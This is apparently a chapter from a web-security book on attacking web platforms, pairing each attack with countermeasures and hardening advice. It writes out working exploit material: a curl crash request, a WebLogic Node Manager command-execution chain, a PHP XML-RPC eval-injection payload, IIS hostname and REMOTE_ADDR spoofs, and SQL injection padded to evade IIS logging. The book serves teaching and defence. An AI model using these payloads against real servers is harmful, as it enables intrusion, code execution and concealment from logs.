CHAPTER 3
HACKING WEB PLATFORMS
The most prominent components of web applications that intruders will first seek to exploit are vulnerabilities within the web platform. The web platform is comprised of common (not necessarily commercial!) off-the-shelf (COTS) software that sits atop the host operating system but below the custom application logic. The web platform commonly includes:
• Web server software (such as IIS or Apache)
• Extensions to the web server, such as ISAPI filters and extensions, or Apache modules
• Dynamic execution environments like ASP.NET, PHP, and J2EE (also referred to as application servers)
• Services and daemons, such as user forums or web guestbook packages
In contrast to our definition of the web platform, we consider application-layer components to be anything that is not COTS and thus unique to a particular site or application. For example, Google’s search-engine logic would be considered an application-layer component.
In this chapter, we will also focus on software defects rather than misconfigurations. We’ve done this to focus reader attention on what we believe are two separate classes of web platform vulnerabilities: issues that web site administrators and developers can fix directly, and those they must rely on their software suppliers to help fix through software version updates and patches. We’ll discuss misconfiguration vulnerabilities in Chapter 8. One last scope clarification: this chapter will focus on the nuts and bolts of web platform attacks and countermeasures, mostly using small-scale tools and techniques. Please see Chapter 10 for a discussion of large-scale automated web security assessment using web security vulnerability scanners.
Historically, web server software vulnerabilities were one of the easiest ways to exploit a web site, but more recently, many popular web server software development teams have become increasingly security conscious, primarily because their products have taken a tremendous beating from hackers for so many years. Microsoft’s IIS is the poster child for this phenomenon. Although severe vulnerabilities used to be found with startling regularity in the IIS product line circa versions 4 and 5, newer versions have been relatively untouched, thanks largely to an invigorated attentiveness to security in the IIS development process.
None of this should be taken to mean that you can ignore web platform vulnerabilities, of course. We’ve seen situations where six vulnerable web servers out of a farm of over 10,000 resulted in the total compromise of an entire enterprise network within a few days. Even worse, as we will demonstrate in this chapter, the hacking community continues to evolve their toolset to enable ever easier identification and exploitation of such faults.
This chapter will describe how to find, exploit, and defend common security vulnerabilities in the most popular web platforms. Our discussion will be organized as follows:
• Point-and-click exploitation
• Manual exploitation
• Evasion techniques
As always, we’ll wrap up with coverage of common countermeasures and security best practices to protect against these attacks.
POINT-AND-CLICK EXPLOITATION USING METASPLOIT
The Metasploit Framework is an open-source platform for developing, testing, and launching exploit code. It is easily amplified with pluggable exploit modules contributed by the worldwide community of folks engaged in “...legal penetration testing and research purposes only,” according to the Metasploit web site. Metasploit provides for easy exploitation of all types of vulnerabilities, including web platform holes. For those interested in a commercially supported tool, check out Metasploit Express from Rapid7, CORE IMPACT from Core Security Technologies, or CANVAS by Immunity. For links to further information about Metasploit, CORE IMPACT, and CANVAS, please see “References & Further Reading” at the end of this chapter.
To understand the ease-of-use that Metasploit provides, we’ll first walk through an example of exploiting a common web platform software defect the old-school way, without the Framework. As you saw in Chapter 2, discovering the make and model of a web server is fairly straightforward. It’s also no real stretch to research published vulnerabilities in the identified server software. Let’s take, for example, a recent vulnerability in Sun Java System Web Server, as described in Common Vulnerabilities and Exposures CVE-2010-0361. All an attacker needs to do is figure out how to trigger the vulnerability. For this task, we refer to the original report by Evgeny Legerov and attempt to re-create the original exploit:
curl -X OPTIONS -O 'http://vulnerable.example.com/webdav/'`perl -e
'print "A" x 500'`
This simple DoS-style exploit caused the remote server to crash. As you just witnessed, exploiting a known vulnerability to simply crash a server is quite straightforward and doesn’t require much effort. Trying to figure out how to exploit the issue to achieve arbitrary code execution, however, requires additional work. But in our culture of immediate gratification, the process of debugging, analyzing, and crafting a functional exploit is too much work. And, frankly, we’re lazy and have books to write. So we want the easy way, and thankfully there are useful applications that automate the entire process.
We’ll now walk through the same example using Metasploit Framework to illustrate the power and efficiency of the tool, even in the hands of semi-skilled adversaries. We first grab the Framework distribution, install it, and we’re ready to roll with prepackaged exploits within five minutes. Metasploit even sports a swift installation wizard. How convenient—and people think hacking is hard work. Once installed, Metasploit can be accessed by either its command line or web interfaces. Since we’re big fans of web applications, we’ll use the web GUI for our demonstration.
After launching Metasploit, we see a listing of all of the exploits it supports, as shown in Figure 3-1. We spot the Java System Web Server WebDAV overflow exploit and select it. Metasploit then displays a helpful screen that provides a description of the vulnerability, complete with references. In the screen shown in Figure 3-2, we choose the type of system our target is running. Our earlier research told us that the web server is running Windows x86, so we select that version.
After selecting the target, Metasploit displays the next screen that enables us to select from a number of payloads that can be delivered to the server. For this attack, a simple remote shell would be a good choice. Once we hit the Exploit button, Metasploit displays the success status of the payload delivery, and we’re presented with console access to the remote server, as shown in Figure 3-3.
See how easy that was? Now where’s the fun in that?
Figure 3-1 Playing “Pick your exploit” with Metasploit
Figure 3-2 Metasploit makes hacking so easy.
Figure 3-3 Exploit successful!
MANUAL EXPLOITATION
We showed you the easy way first because that’s probably the way the majority of attacks are performed (since most malicious hacking follows the path of least resistance). However, more sophisticated attackers may expend substantially more time and effort to bring a web server down, so we’ll take some time in this section to illustrate some of the finer points of a handcrafted attack. The key things to notice in this example are the increased level of time and skill brought to bear on identifying and then exploiting the vulnerability, as opposed to the Metasploit example. Take-home point: just because you run a web platform that doesn’t rate a ton of attention from projects like Metasploit doesn’t mean you’re any less vulnerable!
Oracle WebLogic Node Manager Remote Command Execution
In May 2010, a vulnerability was discovered in the WebLogic Node Manager service that ultimately allowed the execution of arbitrary commands on a WebLogic server. WebLogic is a popular J2EE platform from Oracle.
The WebLogic Node Manager is an administrative service for starting and stopping WebLogic server instances. It uses a straightforward text-based network protocol to communicate with clients and, by default, encapsulates traffic using SSL on port 5556/TCP. Due to the protocol’s straightforward syntax, using tools such as netcat, OpenSSL, or NCat to communicate with the Node Manager service is easy:
$ ncat --ssl 192.168.237.128 5556
HELLO
+OK Node manager v10.3 started
You can see that we connected to the Node Manager service at 192.168.237.128 and issued the HELLO command. The service responds by sending us a success code along with the version of the service: 10.3. Some would call this a bug; some would call it a feature. Either way, the service discloses version information to unauthenticated remote users, useful information when you are crafting a plan of attack.
The Node Manager protocol requires that most commands, other than HELLO, must specify a valid WebLogic domain. According to Oracle, a WebLogic domain is defined as:
The basic administration unit for WebLogic Server instances. A domain consists of one or more WebLogic Server instances (and their associated resources) that you manage with a single Administration Server.
After specifying the WebLogic domain name, you are required to authenticate to Node Manager using the USER and PASS commands. This prevents unauthorized users from calling dangerous Node Manager commands such as EXECSCRIPT, which is designed to execute a program or script specified by the user. The user-specified script can be any executable file in the working directory of the currently selected WebLogic domain.
So you can see a sample of the thinking behind web platform vulnerability research, we will re-create the behind-the-scenes sequence of events leading to the discovery of a flaw in the implementation of the DOMAIN, USER, and PASS commands in Node Manager, and the eventual compromise of the WebLogic server by exploiting the vulnerability.
TIP
When researching a vulnerability, pay attention to behavior or functionality that could provide additional leverage when developing an exploit. Chaining multiple issues together to create a working exploit is often a necessity.
The first step in researching the vulnerability is to examine the WebLogic 10.3.3 application source code responsible for handling Node Manager commands. In order to examine the WebLogic code, we first have to decompile it. Because many of the components in WebLogic are written in Java, this is an easy job. Several Java decompilers are available—the one used for this research is called jad (for Java Disassembler). It is available for free and runs on a variety of operating systems (see the “References & Further Reading” section for a link to jad). Other types of binaries that are more difficult to decompile than Java, of course, require more complex analysis techniques (such as diff’ing binary patches). But the objective of this step in exploit development remains the same with any binary: determine the root cause of the vulnerability as close to the source code as possible.
The WebLogic class files are stored in a Java Archive file called “weblogic.jar” in the WebLogic installation directory. Java Archives are actually just ZIP files with a “.jar” extension, so you can simply extract their contents using most popular unzip tools.
As noted earlier, EXECSCRIPT is a powerful administrative command exposed by Node Manager. Instinctively, we go for the jugular by searching for the text string “EXECSCRIPT” within the extracted class files. The following files are targeted for decompilation:
$ egrep -r EXECSCRIPT *
Binary file weblogic/nodemanager/common/Command.class matches
Binary file weblogic/nodemanager/server/Handler.class matches
Binary file weblogic/nodemanager/client/NMServerClient.class matches
Binary file weblogic/nodemanager/client/ShellClient.class matches
Binary file weblogic/nodemanager/client/NMClientTool.class matches
After some additional digging within each of these files, we determine that Handler.class implements EXECSCRIPT and all of the other Node Manager commands. By decompiling Handler.class with jad, we can take a look at the original Java source code. Our analysis indicates that Node Manager compares user-supplied commands to a list of valid commands, with an important exception: the DOMAIN command is handled by a call to another routine known as handleDomain (). Our further analysis of the source code indicates that the DOMAIN command accepts two parameters: The first parameter is the name of the WebLogic domain on which the Node Manager client wishes to work. The second parameter is used to specify the directory in which the domain configuration files are located. The handleDomain () method passes the two parameters to getDomainManager (), which creates an instance of the DomainManager class; the source code for it is excerpted here:
Map map = config.getDomainsMap();
if(s1 == null)
{
s1 = (String)map.get (s);
if(s1 == null)
{
for(Iterator iterator = domains.values().iterator(); iterator.hasNext();)
{
DomainManager domainmanager = (DomainManager)iterator.next();
if(domainmanager.getDomainName().equals(s))
{
domainmanager.checkFileStamps();
return domainmanager;
}
}
s1 = config.getWeblogicHome();
}
}
s1 = (new File(s1)).getCanonicalPath();
By looking carefully at this code, we see that if the user doesn’t specify a working directory in the second parameter, getDomainManager () attempts to find the correct directory by searching the WebLogic configuration for a domain that matches the user-specified domain name; if a match is found, the working directory is set accordingly. If no match is found, an error is thrown and the DOMAIN command fails.
This is fine, but what happens if the user specifies a working directory? WebLogic accepts the user-supplied value and uses it as the working directory for the current Node Manager session! This means users can control the location from which WebLogic reads its domain configuration files. It turns out that it is possible to specify fully qualified paths, including UNC paths, as Node Manager working directories. Consider the following example:
DOMAIN my_domain \192.168.237.1c$
-ERR I/O error while reading domain directory
Here we tell WebLogic that our working directory is the c$ Windows share on the host 192.168.237.1. WebLogic attempts to load the domain configuration files from the share but fails because no configuration files are stored there. We can verify this by checking the Node Manager log file, which reveals the following message:
<WARNING> <I/O error while reading domain directory>
java.io.FileNotFoundException: Domain directory '\192.168.237.1c$' invalid
(domain salt file not found)
In order to convince Node Manager to accept our UNC path as a valid location for our WebLogic domain, we need to copy the appropriate configuration files and directory structure onto the share. Before we can do that, we need to know which files to copy. To determine that, we use the Process Monitor tool from SysInternals, which allows us to monitor every file read/write operation made by Node Manager while processing the DOMAIN command. Figure 3-4 shows Process Monitor displaying the names of the files that Node Manager attempts to read from the remote share.
By copying valid Node Manager configuration files from an existing WebLogic installation and placing them on the remote share, we can make Node Manager accept our UNC path as a valid working directory. After copying the files, we try again to force a UNC path:
DOMAIN my_domain \192.168.237.1c$
+OK Current domain set to 'my_domain'
It worked! Having set the domain, we need to authenticate. But how do we obtain a valid set of credentials? The answer is that we don’t need to. WebLogic does not store domain credentials in a central location, but instead in a file called nm_password.properties inside the domain configuration directory. Seeing as we can control the domain configuration directory, we simply copy nm_password.properties from a domain that we control (and for which we have already created a username and
Figure 3-4 Process Monitor displaying the missing Node Manager files
password) and copy it into our UNC share. After that, the USER and PASS commands can be used to authenticate to Node Manager:
DOMAIN base_domain \192.168.237.1c$
+OK Current domain set to 'base_domain'
USER weblogic
+OK NM usr set to 'weblogic'
PASS w3bl0g1c
+OK Password accepted
Having authenticated, it is a simple matter to create a malicious script, copy it to the UNC share, and execute it by calling EXECSCRIPT. For test purposes, we created a batch file called runme.bat with the following content:
@echo off
echo Hacking Exposed - Web Applications
Based on our previous Process Monitor analysis, Node Manager expects all executable scripts to be in the directory binservice_migration, so that’s where we save it. We can now call the EXECSCRIPT command to run our batch file:
EXECSCRIPT runme.bat
+OK Script 'runme.bat' executed
Success! To double-check that the batch file was indeed executed, we examine the Node Manager log file:
May 19, 2010 4:56:31 PM weblogic.nodemanager.server.NMHelper$Drainer run
WARNING: '\192.168.237.1c$inservice_migration'
<May 19, 2010 4:56:31 PM> <WARNING> <CMD.EXE was started with the above path
as the current directory.>
<INFO> <Hacking Exposed - Web Applications>
The last line displays the text Hacking Exposed - Web Applications, confirming that runme.bat actually ran. With that, we have shown how multiple implementation bugs can be chained together to create a devastating vulnerability that can be exploited to execute arbitrary commands on a WebLogic Node Manager server.
Oracle WebLogic Node Manager Remote Command Execution Countermeasures
In order to prevent attackers from exploiting this vulnerability, the WebLogic server should have Node Manager either disabled or firewalled to allow connections from only the central management system. Oracle has also released a patch to address this issue. The patch should be tested and deployed as soon as reasonably possible to the affected systems.
Apache Tomcat Default Blank Admin Password
The Apache Tomcat server, a popular implementation of Java Servlet and Java Server Pages, uses a blank password for the administrative user, by default, on the Windows platform. On UNIX, no administrative user is created by default; the user must be added manually after installation. This behavior can leave any Tomcat deployment vulnerable to administrative-level compromise.
To illustrate how an attacker can find such a server, we installed Tomcat 6.0.0 on the host 192.168.1.80. For this example, we assume the default administrative URL of http://192.168.1.80:8080/admin has not been changed. We can try viewing the administration page with a web browser, as 8080 is a commonly used HTTP port:
Seeing the Tomcat login page, we try logging in as admin with a blank password:
The login succeeded! Chances are this is a Windows Tomcat installation, unless someone explicitly added an admin user with a blank password on a UNIX system.
Apache Tomcat Default Blank Admin Password Countermeasure
The Apache Foundation has released fixed versions of Tomcat that address this issue in the installer. When deploying Tomcat, make sure to install the latest version available. If an older version of Tomcat is required, perform the installation on an isolated host and update the $CATALINA_BASE/conf/tomcat-users.xml file either to remove the admin user or to set a password explicitly in the file.
PEAR/PHP XML-RPC Code Execution
In July 2005, a vulnerability was found in PEAR/PHP XML-RPC, which allowed remote PHP code execution. This exploit had a very far-reaching impact, as many popular freeware applications used PEAR/PHP XML-RPC for their web services libraries. These apps included PostNuke, Drupal, b2evolution, and TikiWiki, to name a few. In fact, a worm was released in November 2005 that made use of this exploit (among others), which is true to form for vulnerabilities that are this widespread. The worm was named Lupper or Plupii, depending on which malware vendor you asked.
This is how the exploit works: in the XML parsing engine, there is an eval () call that embeds user input from the outside XML request, allowing an attacker to craft a simple XML request and embed an attack string that breaks out of the eval () statement and allows piggybacking of PHP code. This exploit resembles the same type of attack method as SQL injection or XSS, as the attack string has to be munged to fit in the surrounding code to execute properly. Let’s take a closer look at how this exploit works.
In this example, we will walk through exploiting a vulnerable version of PhpAdsNew that uses PHP XML-RPC. Php AdsNew uses a file called adxmlrpc.php for accepting web service requests, which, in turn, calls the XML-RPC library to process those requests. The actual attack is shown next and is quite simple. The attack is contained in the “name” field and consists of terminating the existing quote and passing in a PHP command to execute a directory listing (as shown in bold text).
NOTE
The adxmlrpc.php script is just a gateway to the vulnerable XML-RPC library. In the case of other vulnerable applications, the exploit body is the same but the script being posted to changes to whatever script the application uses to process XML requests.
POST /phpAdsNew/adxmlrpc.php HTTP/1.0
Host: localhost
Content-Type: application/xml
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Content-Length: 162
Connection: Close
<?xml version="1.0"?><methodCall><methodName>junkname</
methodName><params><param><name>'),passthru("dir");//</name><value>junk</
value></param></params></methodCall>
The vulnerable server responds with a directory listing, as the remote attacker directed:
9 Dir(s) 10,690,588,672 bytes free
<?xml version="1.0"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>1</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Unknown method</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
As you can see, this attack is very simple and very effective. We’ll take a closer look as to how this issue actually works by reviewing the code. The security issue lies in a piece of code located in the lib-xmlrpcs.inc.php file that ships with the library. Inside the parseRequest () function is this chunk of code:
// now add parameters in
$plist="";
for($i=0; $i<sizeof($_xh[$parser]['params']); $i++) {
$plist.="$i - " . $_xh[$parser]['params'][$i]. "
";
eval('$m->addParam(' . $_xh[$parser]['params'][$i]. ");");
}
This function takes each parameter that is defined in the XML request and embeds it in an eval () function. The bolded portion of the text is the parameter name that is supplied via user input. So by injecting a parameter name that breaks out of the string via a single quote, the attacker can have his or her PHP code execute. In this case, we can just pass in a parameter name of ’,’’)); phpinfo ();/* and cause the code to appear like the following example, causing the phpinfo () function to run and the rest of the PHP code to be commented out.
eval('$m->addParam('','')); phpinfo();/*
PEAR/PHP XML-RPC Countermeasure
Both PHP XML-RPC and PEAR XML-RPC released patched versions of their library that eliminates this vulnerability. For PHP XML-RPC, upgrade to version 1.2 or higher, and for PEAR XML-RPC, upgrade to version 1.4.3 or higher. Locations for obtaining these patches are listed in the “References & Further Reading” section at the end of this chapter.
Remote IIS 5.x and IIS 6.0 Server Name Spoof
This is a vulnerability that slipped below the radar for most people, even though its impact is quite high if you look at it closely. The original publication of this issue demonstrated how an attacker can access portions of ASP code, but when examining it more deeply, this attack gives an attacker the ability to spoof hostnames in badly coded applications. Let’s take a closer look at how this works.
The trouble occurs while developing a web application in ASP or .NET, where a developer needs to access the IP address of the web server where the application resides. A lot of developers will make one of the following calls in order to obtain the IP address or hostname of the web server the application is running on:
Request.ServerVariables("SERVER_NAME") (ASP)
Request.ServerVariables["SERVER_NAME"] (.NET)
These calls return the “SERVER_NAME” value of the local environment variable. If the request originates from the Internet, the value of the variable is usually the web server’s IP address. If the request is from the actual web server, the variable’s value is “localhost”. This behavior is summarized in Table 3-1.
Developers often use this functionality to check whether or not the request is from localhost, and if the request is from localhost, then they will enable some level of restricted functionality to be opened. For example, developers will use this method to block requests to the administration page unless the request originates from localhost.
This specific vulnerability results from the way Microsoft used this method to handle their error files. By default, all IIS installations have the IISHelp directory that contains
Table 3-1 The Value of the SERVER_NAME Variable Depends on the Origin of the Request
default IIS error messages. By default, the 500-100 error code is pointed at the “/iishelp/common/500-100.asp” page. Thus, for any 500 error that occurs on the IIS server, IIS will use that page as a template for the response displayed back to the user. This behavior is very common for VBScript errors and database errors.
To determine if the error is being displayed to a local user, the code of 500-100.asp on Microsoft IIS 5.x uses the Request.ServerVariables (“SERVER_NAME”) API. If so, the error page dumps out source code that reveals the exact location where the error occurred. If the client is not local, then a generic error page is displayed, as shown in Figure 3-5.
The vulnerability is that the “SERVER_NAME” variable can be overwritten by specifying a value in either the Host: header or in the URL as GET http://spoof/file.asp. For example, by identifying ourselves as localhost with this request:
GET http://localhost/product_detail.asp?id=a HTTP/1.0
Host: 192.168.1.1
Figure 3-5 A normal IIS error message when seen from the Internet client displays generic information.
we now receive the response shown next.
Notice that this time we receive source code that accompanies the error message. While this, by itself, isn’t very impressive, what we like about this issue is the vulnerability’s sheer quirkiness and potential. It’s not a buffer overflow or a path traversal attack, but if you sit back a moment to consider the possible impact of this vulnerability, you’ll find it’s quite impressive. We can see multihost situations where developers could make use of this variable to restrict access to certain sites. In fact, we recently had the opportunity to make use of this issue and discovered that if we acted as localhost, we were taken to a developer administration page that allowed us to view all of the debugging information related to that web site. Thanks, developer!
This spoof attack also brings to mind another closely related development issue that you’ll commonly see. When using ASP and .NET, many developers will pull user input by using a call like this:
Username = Request["username"]
Let’s take a closer look at this. The correct way to determine if a user is coming from localhost or a specific IP address is to check the “REMOTE_ADDR” server variable. This tells you the client IP address. That’s why developers might add a line like this in their code,
if(Request["REMOTE_ADDR"] == "127.0.0.1")
thereby sending users along their merry way to the administrative page. This works just as it should and will provide server variable’s proper value. But if you’re quick, you can easily identify that this can be bypassed by having users specify the value on the URL like this:
http://www.site.com/auth.aspx?REMOTE_ADDR=127.0.0.1
This spoof works because of the order in which input is processed by IIS. IIS first looks in the query collection for REMOTE_ADDR, then postdata, then cookies, and then finally server variables. Because the order in which the variables are checked begins with the query first, user-supplied data always takes precedence over server variables. The number of sites that are vulnerable to this type of mistake is quite amazing.
Remote IIS 5.x and IIS 6.0 Server Name Spoof Countermeasure
The countermeasure to this problem is to not use the “SERVER_NAME” variable for any type of hostname or IP address validation. Instead, use “REMOTE_ADDR” but do it properly:
Request.ServerVariables["REMOTE_ADDR"]
This will correctly and safely pull the client’s remote address. A good practice is to always use Request. ServerVariables [ ]when accessing any server variables.
EVADING DETECTION
Not all web platform issues necessarily give rise to direct attacks. Log evasion is a good example of a web platform vulnerability that creates no direct path to breaking into a web server but instead obscures detection of the attacker. Next, we’ll present two examples of such issues that allow attackers to bypass the correct logging of their requests.
Log Evasion Using Long URLs
Some web server software fails to log URI data beyond a certain number of characters. For example, Sun-One Application Server only logs the first 4,042 characters of a request URI. Microsoft’s IIS has the same issue when a query string or header value is over 4,097 characters. This limit was set to prevent DoS attacks by attackers flooding the logs, but attackers have now used this feature for their own benefit. Let’s look at the IIS example in more detail to illustrate how this feature can be used by attackers to hide their presence in the web logs.
When writing to the web logs, IIS will automatically truncate the query string with ellipses “...” when the length exceeds 4,097 characters. This allows an attacker to create a fake query that is filled with 4,097 characters with an attack appended at the end. The web server will still process the request properly and discard the fake parameter, allowing the attack to succeed, but it will not log the request.
Let’s look at a specific example of using log evasion to hide a SQL injection attack against IIS. This kind of an attack is easily noticeable in the web logs if the attack is executed via the query string, as shown in the following example.
GET /article.asp?id=convert(int,(select+top+1+name+from+sysobjects+
where+xtype='u')) HTTP/1.0
Connection: Close
Host: www.site.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;
.NET CLR 1.1.4322)
The web server responds as normal, and this is what the log entry looks like:
2005-10-04 22:10:24 127.0.0.1 - 127.0.0.1 80 GET /product_detail.asp
id=convert(int,(select+top+1+name+from+sysobjects+where+xtype='u'))|
170|80040e07
|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_converting_the_
nvar
char_value_’tbl_Globals’_to_a_column_of_data_type_int. 500 4910 561
Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+enUS; +rv:1.7.10)+Gecko/
20050716+Firefox/1.0.6
You can clearly see from the bolded text in this example the SQL injection attack occurring and the database error that was returned in the response. It’s quite easy, at this point, to identify someone attempting SQL injection on the application by parsing the IIS logs for either any SQL database errors going back to the user or any SQL keywords being used in the request.
Let’s now look at the same request, hidden inside a long URI designed to evade detection in the IIS logs. We’ll use the same attack request but with a fake parameter of foo being used to fill the log buffer:
GET /product_detail.asp?id=convert(int,(select+top+1+name+from+sysobjects+wh
ere+xtyp
e='u')) &foo=<4097 a's> HTTP/1.0
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Because the foo parameter is fake, the web application ignores it and the attack executes successfully. The log file logs the following request:
2005-10-04 22:31:01 127.0.0.1 - 127.0.0.1 80 GET /product_detail.asp ...
500 4965 4287 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) - -
Notice how the query string has now been replaced with “... ”and no error text from the response is logged. The attacker can proceed with any similar parameter mischief without any logging.
Hiding Requests Using TRACK
TRACK is an HTTP method supported only by IIS that does exactly the same thing as the TRACE method. The response to a TRACK request is a repeat of the request sent. Here’s an example:
TRACK / HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.x
Date: Tue, 04 Oct 2005 23:07:12 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 102
TRACK / HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
In Microsoft IIS 5.x, all TRACK requests are not logged by the web server. This request by itself is not very dangerous and cannot be used to retrieve pages or submit attacks, but it can be used in DoS attacks.
We experienced the use of TRACK personally when called to investigate some unusual behavior on a client’s web server. The CPU was high and the machine responded sluggishly. After throwing up a sniffer on the network, we noticed that although HTTP traffic was extremely high, the web logs contained no record of many of the requests visible via the sniffer. After taking a closer look at the web requests using the sniffer, we noticed a lot of TRACK /<long URL> HTTP/1.0 requests hitting the server that simply were not being recorded in the logs.
NOTE
TRACK requests are also a crafty way to DoS a web server without filling up the logs.
IIS Log Evasion Countermeasure
A good solution is to use UrlScan to prevent these issues. By default, when UrlScan is installed, a setting of MaxQueryString=2048 will stop the long URL evasion method effectively. In UrlScan 2.5, there is an option called LogLongUrls. By turning this option on, UrlScan will log up to 128K of the request, which will allow any attack to be seen in the log. UrlScan can also be used to deny methods such as TRACK or TRACE. A good rule of thumb is to deny all request methods except for HEAD, GET, and POST.
WEB PLATFORM SECURITY BEST PRACTICES
We’ve covered numerous web platform attacks and countermeasures in this chapter, but we’re the first to admit that it’s impossible to exhaustively catalog all the techniques by which a web platform can fall victim. This section is devoted to summarizing the most important recommendations for hardening web platforms generally, as well as specific information on IIS, Apache, and PHP, which are among the most popular web platforms as of this writing. You can be sure you’ve covered all your bases when deploying these technologies in your online environment.
TIP
Also see Appendix A for our summarized web security checklist.
Common Best Practices
The following recommendations apply to any web platform, no matter if it’s off-the-shelf or custom-made.
Implement Aggressive Network Access Control—in Both Directions!
We hope by this point in the history of the Internet that we don’t need to emphasize the need for strong firewalling of inbound communications to web servers. TCP port 80 (and optionally 443 if you implement SSL/TLS) are the only ports that you should make available to general audiences in the inbound direction (obviously, specific user communities may require special access to other ports for content management, server administration, and so on).
Although inbound filtering is broadly appreciated, one common mistake is to ignore outbound access control. One of the first things attackers will seek to do once they’ve gained the ability to run arbitrary commands on a web server is to “shovel” an outbound shell, or make an outbound connection to upload more files to the victim. With appropriate egress filtering on the firewall in front of the web server(s), these requests can be blocked, significantly raising the bar for attackers. The simplest rule is to deny all outbound connections except those that are established, which can be implemented by blocking all packets bearing only a TCP SYN flag. This will not block replies to legitimate incoming requests, allowing the server to remain accessible to outsiders (your ingress filters are tight, too, right?).
It’s important to note that sophisticated attackers may be able to hijack legitimate outbound connectivity to bypass outbound filtering. However, in our experience, this is difficult to achieve in practice, and establishing rigorous outbound access control remains one of the most important defensive layers you can implement for your web servers.
Keep Up with Security Patches
The most effective way to maintain a strong and secure web platform is to keep the system up-to-date with security patches. There’s no shortcut: you must continuously patch your platforms and applications. Although you can take plenty of other steps to better harden your systems from attacks, pushing security updates out to your systems—as they’re announced—is the most important thing you can do. We recommend the use of automated patching tools such as the Microsoft Update service to help keep your patch levels current. For Apache, we recommend simply subscribing to the Apache announcements list to be notified anytime a new version is released so you can upgrade (see the “References & Further Reading” section at the end of this chapter for links).
Don’t Put Private Data in Source Code
If you educate your development team not to commit this classic error, you won’t have to worry so much about the latest and greatest source disclosure making the rounds within hacker circles. Some of the most common failures include these:
• Cleartext SQL connect strings in ASP scripts Use SQL integrated security or a binary COM object instead.
• Using cleartext passwords in application configuration files Always avoid cleartext passwords in application configuration files such as global.asa or web .config. Consider using the Microsoft DPAPI.
• Using include files with the .inc extension Rename include files to .asp, .php, or the appropriate extension for your web application platform.
• Comments within scripts that contain private information like e-mail addresses, directory structure information, and passwords Don’t document yourself into being highly vulnerable. Make sure to rid your web platforms and applications of information that can be so easily turned against you.
Regularly Scan Your Network for Vulnerable Servers
The best mechanism for preventing such compromises is to regularly scan for the vulnerabilities that make those compromises possible. A number of very useful web application assessment products are available, such as HP WebInspect and Watchfire AppScan. These do an excellent job of identifying web-platform, application, and configuration vulnerabilities.
TIP
See Chapter 10 for a review of tools that automate web security assessment.
Know What It Looks Like When You Are/Have Been Under Attack
You always want to approach incident response as seriously as you approach prevention—this is especially true with fragile web servers. To identify if your servers have been the victim of an attack, we recommend following prescribed investigation activities, including the following classic techniques.
Using the netstat utility on a compromised web server is one way for you to identify any strange inbound or outbound connections. As we have seen, these connections can sometimes be to rogue shells instantiated following exploitation of a vulnerability. Outbound connections make it more difficult to differentiate hostile from legitimate connections.
TIP
On Windows XP and later, the netstat command was modified to show programs that use TCP/IP ports—check out the -o switch.
Another good point of investigation is the file system. Many canned exploits are circulating on the Internet. And a number of files related to these exploits are commonly reused by script kiddies exactly as originally published by serious security researchers. For example, on IIS, files such as Sensepost.exe, Upload.asp, Upload.inc, and Cmdasp .asp are commonly used to backdoor a system. Although trivially renamed, you’ll at least keep the script kiddies at bay by monitoring for these files. Especially keep an eye out for unauthorized files in writable/executable directories like the IIS/scripts folder. Other commonly employed IIS exploits often deposit files with names like
You should also consider installing filesystem monitoring tools such as Tripwire, which can alert you to any new and unauthorized files that appear on your web servers.
Finally, and perhaps most obviously, the web server logs are often the first place unauthorized activity will show up (except if the attacker implements the log evasion techniques we discussed earlier in this chapter). Making it part of your standard operating procedure to analyze log files can often help you detect attacks and compromises.
We’re aware of the monumental effort involved in regularly monitoring the logs and file systems of even a moderately sized web server farm, but hopefully these tips can assist you once you have identified a server that may have been compromised already.
IIS Hardening
Here are our favorite techniques for securing IIS against common attacks:
• Turning off detailed error messages that give potential assailants too much information
• Proper placement of web folders
• Elimination of unused extension mappings
• Savvy use of filesystem access control lists
We’ll talk in more detail about these and other techniques in the next sections.
Turn Off IIS Detailed Error Messages
Detailed error messages should never be enabled on your production servers. They simply give attackers too much information that can be used against you. You should refer to Microsoft TechNet for instructions on how to disable verbose error messages on your version of IIS.
Install Your Web Folders on a Drive Other Than the System Drive
In the past, directory traversal exploits were quite common on the IIS platform (see the “References & Further Reading” section for links to past advisories). To date, these types of attacks have been restricted by URL syntax that doesn’t allow the ability to jump across volumes. Thus, by moving the IIS web root to a volume without powerful tools like cmd.exe, such exploits aren’t feasible.
When you relocate your web roots to a new drive, make sure the integrity of any filesystem ACLs is maintained. On Windows servers, if you fail to do this, the ACLs will be set to the default in the destination: Everyone:Full Control! The Robocopy tool from the Windows Server Resource Kit is a handy tool for moving Windows files and folders with ACLs intact. The Robocopy /SEC switch is the relevant parameter to consider.
Remove Unused Extension Mappings
Throughout the years, there have been many security issues surrounding IIS extensions known as ISAPI DLLs. Some of these include the .printer buffer overflow and the +.htr source disclosure bug. All of the bugs lay within ISAPI DLLs that should be disabled by removing the specific DLL application mappings. You also have the option of deleting the actual .dll files. When you remove the application mapping, the DLLs won’t be loaded into the IIS process during startup. As a result, the vulnerabilities can’t be exploited.
With the release of IIS 6 and subsequent versions, Microsoft disables all extensions by default. If you’re a Microsoft shop, this and many other security improvements since IIS 6 make it our minimum recommendation when deploying IIS as the web platform of choice. A good practice is to follow Microsoft’s lead with IIS and work with your development team to identify what extensions are needed and disable all others.
Use UrlScan
Newer versions of UrlScan (version 3.1 at the time of writing) allow administrators to define filter rules used to block harmful HTTP requests from reaching the web server. UrlScan can be used to filter not just URIs, but query strings and HTTP headers, too. Although UrlScan is a useful tool for blocking attack strings, it is no substitute for identifying and fixing application vulnerabilities during the development process, as we will discuss in Chapter 10.
Always Use NTFS for Web Server Volumes and Conservatively Set Your ACLs!
